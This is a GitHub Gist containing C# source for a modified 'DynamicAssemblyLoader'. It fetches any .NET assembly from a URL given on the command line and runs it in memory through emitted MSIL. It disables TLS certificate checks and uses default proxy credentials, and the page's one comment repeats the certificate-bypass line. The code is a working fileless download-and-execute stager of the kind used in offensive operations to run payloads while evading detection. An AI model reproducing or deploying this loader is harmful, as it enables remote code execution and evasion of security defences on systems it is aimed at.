Last active
February 5, 2023 19:49
-
-
Save sdcampbell/41dcaef1068b6b44fd05ac1d3a0dc661 to your computer and use it in GitHub Desktop.
Extended Bohop's DynamicAssemblyLoader to work with any .Net assembly loaded from http/s. The original project (https://github.com/bohops/DynamicDotNet/blob/main/assembly_loader/DynamicAssemblyLoader.cs) loaded an assembly from a hard-coded path on disk.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// DynamicAssemblyLoader: A DotNet Assembly Loader using a Dynamic Method and Emitted MSIL Instructions | |
// Author: @bohops | |
// | |
// "Normal" Implementation: | |
/* | |
Assembly assembly = Assembly.Load(assemblyBytes); | |
assembly.EntryPoint.Invoke(obj, objArr); | |
*/ | |
// Original author is @bohops | |
// Modified by @lpha3ch0. The original project used a hard-coded path to an assembly on disk. | |
// This version is modified to allow the user to pass a URL and arguments on the command line | |
// so that it can be used with any assembly without being recompiled, and doesn't require you | |
// you to host the assembly on disk. | |
using System; | |
using System.Reflection; | |
using System.Reflection.Emit; | |
using System.IO; | |
using System.Net; | |
public class Program | |
{ | |
public static void Main(string[] args) | |
{ | |
if (args.Length == 0 || args[0] == "-h" || args[0] == "--help") | |
{ | |
Console.WriteLine("You must include the URL to your hosted assembly and any arguments."); | |
Console.WriteLine($"Example: {System.AppDomain.CurrentDomain.FriendlyName} http://192.168.1.1/DotNetAssembly.exe \"arg1\" \"arg2\" \"-f blah\""); | |
System.Environment.Exit(1); | |
} | |
string path = args[0]; | |
IWebProxy proxy = WebRequest.GetSystemWebProxy(); | |
proxy.Credentials = CredentialCache.DefaultCredentials; | |
ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; | |
WebClient myWebClient = new WebClient(); | |
myWebClient.Proxy = proxy; | |
myWebClient.UseDefaultCredentials = true; | |
byte[] assemblyBytes = myWebClient.DownloadData(path); | |
string[] assemblyArgs = new string[args.Length - 1]; | |
Array.Copy(args, 1, assemblyArgs, 0, args.Length - 1); | |
object obj = new object(); | |
object[] objArr = new object[] { assemblyArgs }; | |
//Load and invoke the assembly | |
DynamicMethod dynamicMethod = new DynamicMethod("_Invoke", typeof(void), new Type[] { typeof(byte[]), typeof(object), typeof(object[]) }); | |
ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); | |
iLGenerator.Emit(OpCodes.Ldarg_0); | |
iLGenerator.EmitCall(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }), null); | |
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }), null); | |
iLGenerator.Emit(OpCodes.Ldarg_1); | |
iLGenerator.Emit(OpCodes.Ldarg_2); | |
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }), null); | |
iLGenerator.Emit(OpCodes.Pop); | |
iLGenerator.Emit(OpCodes.Ret); | |
dynamicMethod.Invoke(null, new object[] { assemblyBytes, obj, objArr }); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Nice one buddy.
You can add the following line to avoid SSL errors:
ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;